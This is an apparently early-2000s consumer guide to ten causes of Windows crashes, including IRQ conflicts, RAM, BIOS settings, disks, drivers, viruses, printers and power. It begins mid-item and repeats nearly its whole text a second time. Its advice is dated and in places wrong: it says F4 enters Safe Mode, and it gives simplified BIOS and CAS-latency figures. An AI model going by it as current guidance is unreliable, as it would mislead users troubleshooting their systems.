Often if a device has a problem a yellow '!' appears next to its description in the Device Manager. Highlight Computer (in the Device Manager) and press Properties to see the IRQ numbers used by your computer. If the IRQ number appears twice, two devices may be using it.
Sometimes a device might share an IRQ with something described as 'IRQ holder for PCI steering'. This can be ignored. The best way to fix this problem is to remove the problem device and reinstall it.
Sometimes you may have to find more recent drivers on the internet to make the device function properly. A good resource is www.driverguide.com. If the device is a soundcard, or a modem, it can often be fixed by moving it to a different slot on the motherboard (be careful about opening your computer, as you may void the warranty).
When working inside a computer you should switch it off, unplug the mains lead and touch an unpainted metal surface to discharge any static electricity.
To be fair to Mcft, the problem with IRQ numbers is not of its making. It is a legacy problem going back to the first PC designs using the IBM 8086 chip. Initially there were only eight IRQs. Today there are 16 IRQs in a PC. It is easy to run out of them. There are plans to increase the number of IRQs in future designs.
2 Bad Ram
Ram (random-access memory) problems might bring on the blue screen of death with a message saying Fatal Exception Error. A fatal error indicates a serious hardware problem. Sometimes it may mean a part is damaged and will need replacing.
But a fatal error caused by Ram might be caused by a mismatch of chips. For example, mixing 70-nanosecond (70ns) Ram with 60ns Ram will usually force the computer to run all the Ram at the slower speed. This will often crash the machine if the Ram is overworked.
One way around this problem is to enter the BIOS settings and increase the wait state of the Ram. This can make it more stable. Another way to troubleshoot a suspected Ram problem is to rearrange the Ram chips on the motherboard, or take some of them out. Then try to repeat the circumstances that caused the crash. When handling Ram try not to touch the gold connections, as they can be easily damaged.
Parity error messages also refer to Ram. Modern Ram chips are either parity (ECC) or non parity (non-ECC). It is best not to mix the two types, as this can be a cause of trouble.
EMM386 error messages refer to memory problems but may not be connected to bad Ram. This may be due to free memory problems often linked to old Dos-based programmes.
3 BIOS settings
Every motherboard is supplied with a range of chipset settings that are decided in the factory. A common way to access these settings is to press the F2 or delete button during the first few seconds of a boot-up.
Once inside the BIOS, great care should be taken. It is a good idea to write down on a piece of paper all the settings that appear on the screen. That way, if you change something and the computer becomes more unstable, you will know what settings to revert to.
A common BIOS error concerns the CAS latency. This refers to the Ram. Older EDO (extended data out) Ram has a CAS latency of 3. Newer SDRam has a CAS latency of 2. Setting the wrong figure can cause the Ram to lock up and freeze the computer's display.
Mcft Windows is better at allocating IRQ numbers than any BIOS. If possible set the IRQ numbers to Auto in the BIOS. This will allow Windows to allocate the IRQ numbers (make sure the BIOS setting for Plug and Play OS is switched to 'yes' to allow Windows to do this.).
4 Hard disk drives
After a few weeks, the information on a hard disk drive starts to become piecemeal or fragmented. It is a good idea to defragment the hard disk every week or so, to prevent the disk from causing a screen freeze. Go to
* Start-Programs-Accessories-System Tools-Disk Defragmenter
This will start the procedure. You will be unable to write data to the hard drive (to save it) while the disk is defragmenting, so it is a good idea to schedule the procedure for a period of inactivity using the Task Scheduler.
The Task Scheduler should be one of the small icons on the bottom right of the Windows opening page (the desktop).
Some lockups and screen freezes caused by hard disk problems can be solved by reducing the read-ahead optimisation. This can be adjusted by going to
* Start-Settings-Control Panel-System Icon-Performance-File System-Hard Disk.
Hard disks will slow down and crash if they are too full. Do some housekeeping on your hard drive every few months and free some space on it. Open the Windows folder on the C drive and find the Temporary Internet Files folder. Deleting the contents (not the folder) can free a lot of space.
Empty the Recycle Bin every week to free more space. Hard disk drives should be scanned every week for errors or bad sectors. Go to
* Start-Programs-Accessories-System Tools-ScanDisk
Otherwise assign the Task Scheduler to perform this operation at night when the computer is not in use.
5 Fatal OE exceptions and VXD errors
Fatal OE exception errors and VXD errors are often caused by video card problems.
These can often be resolved easily by reducing the resolution of the video display. Go to
* Start-Settings-Control Panel-Display-Settings
Here you should slide the screen area bar to the left. Take a look at the colour settings on the left of that window. For most desktops, high colour 16-bit depth is adequate.
If the screen freezes or you experience system lockups it might be due to the video card. Make sure it does not have a hardware conflict. Go to
* Start-Settings-Control Panel-System-Device Manager
Here, select the + beside Display Adapter. A line of text describing your video card should appear. Select it (make it blue) and press properties. Then select Resources and select each line in the window. Look for a message that says No Conflicts.
If you have video card hardware conflict, you will see it here. Be careful at this point and make a note of everything you do in case you make things worse.
The way to resolve a hardware conflict is to uncheck the Use Automatic Settings box and hit the Change Settings button. You are searching for a setting that will display a No Conflicts message.
Another useful way to resolve video problems is to go to
* Start-Settings-Control Panel-System-Performance-Graphics
Here you should move the Hardware Acceleration slider to the left. As ever, the most common cause of problems relating to graphics cards is old or faulty drivers (a driver is a small piece of software used by a computer to communicate with a device).
Look up your video card's manufacturer on the internet and search for the most recent drivers for it.
6 Viruses
Often the first sign of a virus infection is instability. Some viruses erase the boot sector of a hard drive, making it impossible to start. This is why it is a good idea to create a Windows start-up disk. Go to
* Start-Settings-Control Panel-Add/Remove Programs
Here, look for the Start Up Disk tab. Virus protection requires constant vigilance.
A virus scanner requires a list of virus signatures in order to be able to identify viruses. These signatures are stored in a DAT file. DAT files should be updated weekly from the website of your antivirus software manufacturer.
An excellent antivirus programme is McAfee VirusScan by Network Associates ( www.nai.com). Another is Norton AntiVirus 2000, made by Symantec ( www.symantec.com).
7 Printers
The action of sending a document to print creates a bigger file, often called a postscript file.
Printers have only a small amount of memory, called a buffer. This can be easily overloaded. Printing a document also uses a considerable amount of CPU power. This will also slow down the computer's performance.
If the printer is trying to print unusual characters, these might not be recognised, and can crash the computer. Sometimes printers will not recover from a crash because of confusion in the buffer. A good way to clear the buffer is to unplug the printer for ten seconds. Booting up from a powerless state, also called a cold boot, will restore the printer's default settings and you may be able to carry on.
8 Software
A common cause of computer crash is faulty or badly-installed software. Often the problem can be cured by uninstalling the software and then reinstalling it. Use Norton Uninstall or Uninstall Shield to remove an application from your system properly. This will also remove references to the programme in the System Registry and leaves the way clear for a completely fresh copy.
The System Registry can be corrupted by old references to obsolete software that you thought was uninstalled. Use Reg Cleaner by Jouni Vuorio to clean up the System Registry and remove obsolete entries. It works on Windows 95, Windows 98, Windows 98 SE (Second Edition), Windows Millennium Edition (ME), NT4 and Windows 2000.
Read the instructions and use it carefully so you don't do permanent damage to the Registry. If the Registry is damaged you will have to reinstall your operating system. Reg Cleaner can be obtained from www.jv16.org
Often a Windows problem can be resolved by entering Safe Mode. This can be done during start-up. When you see the message "Starting Windows" press F4. This should take you into Safe Mode.
Safe Mode loads a minimum of drivers. It allows you to find and fix problems that prevent Windows from loading properly.
Sometimes installing Windows is difficult because of unsuitable BIOS settings. If you keep getting SUWIN error messages (Windows setup) during the Windows installation, then try entering the BIOS and disabling the CPU internal cache. Try to disable the Level 2 (L2) cache if that doesn't work.
Remember to restore all the BIOS settings back to their former settings following installation.
9 Overheating
Central processing units (CPUs) are usually equipped with fans to keep them cool. If the fan fails or if the CPU gets old it may start to overheat and generate a particular kind of error called a kernel error. This is a common problem in chips that have been overclocked to operate at higher speeds than they are supposed to.
One remedy is to get a bigger better fan and install it on top of the CPU. Specialist cooling fans/heatsinks are available from www.computernerd.com or www.coolit.com
CPU problems can often be fixed by disabling the CPU internal cache in the BIOS. This will make the machine run more slowly, but it should also be more stable.
10 Power supply problems
With all the new construction going on around the country the steady supply of electricity has become disrupted. A power surge or spike can crash a computer as easily as a power cut.
If this has become a nuisance for you then consider buying a uninterrupted power supply (UPS). This will give you a clean power supply when there is electricity, and it will give you a few minutes to perform a controlled shutdown in case of a power cut.
It is a good investment if your data are critical, because a power cut will cause any unsaved data to be lost.
You have just been struck by the Blue Screen of Death. Anyone who uses Mcft Windows will be familiar with this. What can you do? More importantly, how can you prevent it happening?
1 Hardware conflict
The number one reason why Windows crashes is hardware conflict. Each hardware device communicates to other devices through an interrupt request channel (IRQ). These are supposed to be unique for each device.
For example, a printer usually connects internally on IRQ 7. The keyboard usually uses IRQ 1 and the floppy disk drive IRQ 6. Each device will try to hog a single IRQ for itself.
If there are a lot of devices, or if they are not installed properly, two of them may end up sharing the same IRQ number. When the user tries to use both devices at the same time, a crash can happen. The way to check if your computer has a hardware conflict is through the following route:
* Start-Settings-Control Panel-System-Device Manager.
Often if a device has a problem a yellow '!' appears next to its description in the Device Manager. Highlight Computer (in the Device Manager) and press Properties to see the IRQ numbers used by your computer. If the IRQ number appears twice, two devices may be using it.
Sometimes a device might share an IRQ with something described as 'IRQ holder for PCI steering'. This can be ignored. The best way to fix this problem is to remove the problem device and reinstall it.
Sometimes you may have to find more recent drivers on the internet to make the device function properly. A good resource is www.driverguide.com. If the device is a soundcard, or a modem, it can often be fixed by moving it to a different slot on the motherboard (be careful about opening your computer, as you may void the warranty).
When working inside a computer you should switch it off, unplug the mains lead and touch an unpainted metal surface to discharge any static electricity.
To be fair to Mcft, the problem with IRQ numbers is not of its making. It is a legacy problem going back to the first PC designs using the IBM 8086 chip. Initially there were only eight IRQs. Today there are 16 IRQs in a PC. It is easy to run out of them. There are plans to increase the number of IRQs in future designs.
2 Bad Ram
Ram (random-access memory) problems might bring on the blue screen of death with a message saying Fatal Exception Error. A fatal error indicates a serious hardware problem. Sometimes it may mean a part is damaged and will need replacing.
But a fatal error caused by Ram might be caused by a mismatch of chips. For example, mixing 70-nanosecond (70ns) Ram with 60ns Ram will usually force the computer to run all the Ram at the slower speed. This will often crash the machine if the Ram is overworked.
One way around this problem is to enter the BIOS settings and increase the wait state of the Ram. This can make it more stable. Another way to troubleshoot a suspected Ram problem is to rearrange the Ram chips on the motherboard, or take some of them out. Then try to repeat the circumstances that caused the crash. When handling Ram try not to touch the gold connections, as they can be easily damaged.
Parity error messages also refer to Ram. Modern Ram chips are either parity (ECC) or non parity (non-ECC). It is best not to mix the two types, as this can be a cause of trouble.
EMM386 error messages refer to memory problems but may not be connected to bad Ram. This may be due to free memory problems often linked to old Dos-based programmes.
3 BIOS settings
Every motherboard is supplied with a range of chipset settings that are decided in the factory. A common way to access these settings is to press the F2 or delete button during the first few seconds of a boot-up.
Once inside the BIOS, great care should be taken. It is a good idea to write down on a piece of paper all the settings that appear on the screen. That way, if you change something and the computer becomes more unstable, you will know what settings to revert to.
A common BIOS error concerns the CAS latency. This refers to the Ram. Older EDO (extended data out) Ram has a CAS latency of 3. Newer SDRam has a CAS latency of 2. Setting the wrong figure can cause the Ram to lock up and freeze the computer's display.
Mcft Windows is better at allocating IRQ numbers than any BIOS. If possible set the IRQ numbers to Auto in the BIOS. This will allow Windows to allocate the IRQ numbers (make sure the BIOS setting for Plug and Play OS is switched to 'yes' to allow Windows to do this.).
4 Hard disk drives
After a few weeks, the information on a hard disk drive starts to become piecemeal or fragmented. It is a good idea to defragment the hard disk every week or so, to prevent the disk from causing a screen freeze. Go to
* Start-Programs-Accessories-System Tools-Disk Defragmenter
This will start the procedure. You will be unable to write data to the hard drive (to save it) while the disk is defragmenting, so it is a good idea to schedule the procedure for a period of inactivity using the Task Scheduler.
The Task Scheduler should be one of the small icons on the bottom right of the Windows opening page (the desktop).
Some lockups and screen freezes caused by hard disk problems can be solved by reducing the read-ahead optimisation. This can be adjusted by going to
* Start-Settings-Control Panel-System Icon-Performance-File System-Hard Disk.
Hard disks will slow down and crash if they are too full. Do some housekeeping on your hard drive every few months and free some space on it. Open the Windows folder on the C drive and find the Temporary Internet Files folder. Deleting the contents (not the folder) can free a lot of space.
Empty the Recycle Bin every week to free more space. Hard disk drives should be scanned every week for errors or bad sectors. Go to
* Start-Programs-Accessories-System Tools-ScanDisk
Otherwise assign the Task Scheduler to perform this operation at night when the computer is not in use.
5 Fatal OE exceptions and VXD errors
Fatal OE exception errors and VXD errors are often caused by video card problems.
These can often be resolved easily by reducing the resolution of the video display. Go to
* Start-Settings-Control Panel-Display-Settings
Here you should slide the screen area bar to the left. Take a look at the colour settings on the left of that window. For most desktops, high colour 16-bit depth is adequate.
If the screen freezes or you experience system lockups it might be due to the video card. Make sure it does not have a hardware conflict. Go to
* Start-Settings-Control Panel-System-Device Manager
Here, select the + beside Display Adapter. A line of text describing your video card should appear. Select it (make it blue) and press properties. Then select Resources and select each line in the window. Look for a message that says No Conflicts.
If you have video card hardware conflict, you will see it here. Be careful at this point and make a note of everything you do in case you make things worse.
The way to resolve a hardware conflict is to uncheck the Use Automatic Settings box and hit the Change Settings button. You are searching for a setting that will display a No Conflicts message.
Another useful way to resolve video problems is to go to
* Start-Settings-Control Panel-System-Performance-Graphics
Here you should move the Hardware Acceleration slider to the left. As ever, the most common cause of problems relating to graphics cards is old or faulty drivers (a driver is a small piece of software used by a computer to communicate with a device).
Look up your video card's manufacturer on the internet and search for the most recent drivers for it.
6 Viruses
Often the first sign of a virus infection is instability. Some viruses erase the boot sector of a hard drive, making it impossible to start. This is why it is a good idea to create a Windows start-up disk. Go to
* Start-Settings-Control Panel-Add/Remove Programs
Here, look for the Start Up Disk tab. Virus protection requires constant vigilance.
A virus scanner requires a list of virus signatures in order to be able to identify viruses. These signatures are stored in a DAT file. DAT files should be updated weekly from the website of your antivirus software manufacturer.
An excellent antivirus programme is McAfee VirusScan by Network Associates ( www.nai.com). Another is Norton AntiVirus 2000, made by Symantec ( www.symantec.com).
7 Printers
The action of sending a document to print creates a bigger file, often called a postscript file.
Printers have only a small amount of memory, called a buffer. This can be easily overloaded. Printing a document also uses a considerable amount of CPU power. This will also slow down the computer's performance.
If the printer is trying to print unusual characters, these might not be recognised, and can crash the computer. Sometimes printers will not recover from a crash because of confusion in the buffer. A good way to clear the buffer is to unplug the printer for ten seconds. Booting up from a powerless state, also called a cold boot, will restore the printer's default settings and you may be able to carry on.
8 Software
A common cause of computer crash is faulty or badly-installed software. Often the problem can be cured by uninstalling the software and then reinstalling it. Use Norton Uninstall or Uninstall Shield to remove an application from your system properly. This will also remove references to the programme in the System Registry and leaves the way clear for a completely fresh copy.
The System Registry can be corrupted by old references to obsolete software that you thought was uninstalled. Use Reg Cleaner by Jouni Vuorio to clean up the System Registry and remove obsolete entries. It works on Windows 95, Windows 98, Windows 98 SE (Second Edition), Windows Millennium Edition (ME), NT4 and Windows 2000.
Read the instructions and use it carefully so you don't do permanent damage to the Registry. If the Registry is damaged you will have to reinstall your operating system. Reg Cleaner can be obtained from www.jv16.org
Often a Windows problem can be resolved by entering Safe Mode. This can be done during start-up. When you see the message "Starting Windows" press F4. This should take you into Safe Mode.
Safe Mode loads a minimum of drivers. It allows you to find and fix problems that prevent Windows from loading properly.
Sometimes installing Windows is difficult because of unsuitable BIOS settings. If you keep getting SUWIN error messages (Windows setup) during the Windows installation, then try entering the BIOS and disabling the CPU internal cache. Try to disable the Level 2 (L2) cache if that doesn't work.
Remember to restore all the BIOS settings back to their former settings following installation.
9 Overheating
Central processing units (CPUs) are usually equipped with fans to keep them cool. If the fan fails or if the CPU gets old it may start to overheat and generate a particular kind of error called a kernel error. This is a common problem in chips that have been overclocked to operate at higher speeds than they are supposed to.
One remedy is to get a bigger better fan and install it on top of the CPU. Specialist cooling fans/heatsinks are available from www.computernerd.com or www.coolit.com
CPU problems can often be fixed by disabling the CPU internal cache in the BIOS. This will make the machine run more slowly, but it should also be more stable.
10 Power supply problems
With all the new construction going on around the country the steady supply of electricity has become disrupted. A power surge or spike can crash a computer as easily as a power cut.
If this has become a nuisance for you then consider buying a uninterrupted power supply (UPS). This will give you a clean power supply when there is electricity, and it will give you a few minutes to perform a controlled shutdown in case of a power cut.
It is a good investment if your data are critical, because a power cut will cause any unsaved data to be lost.
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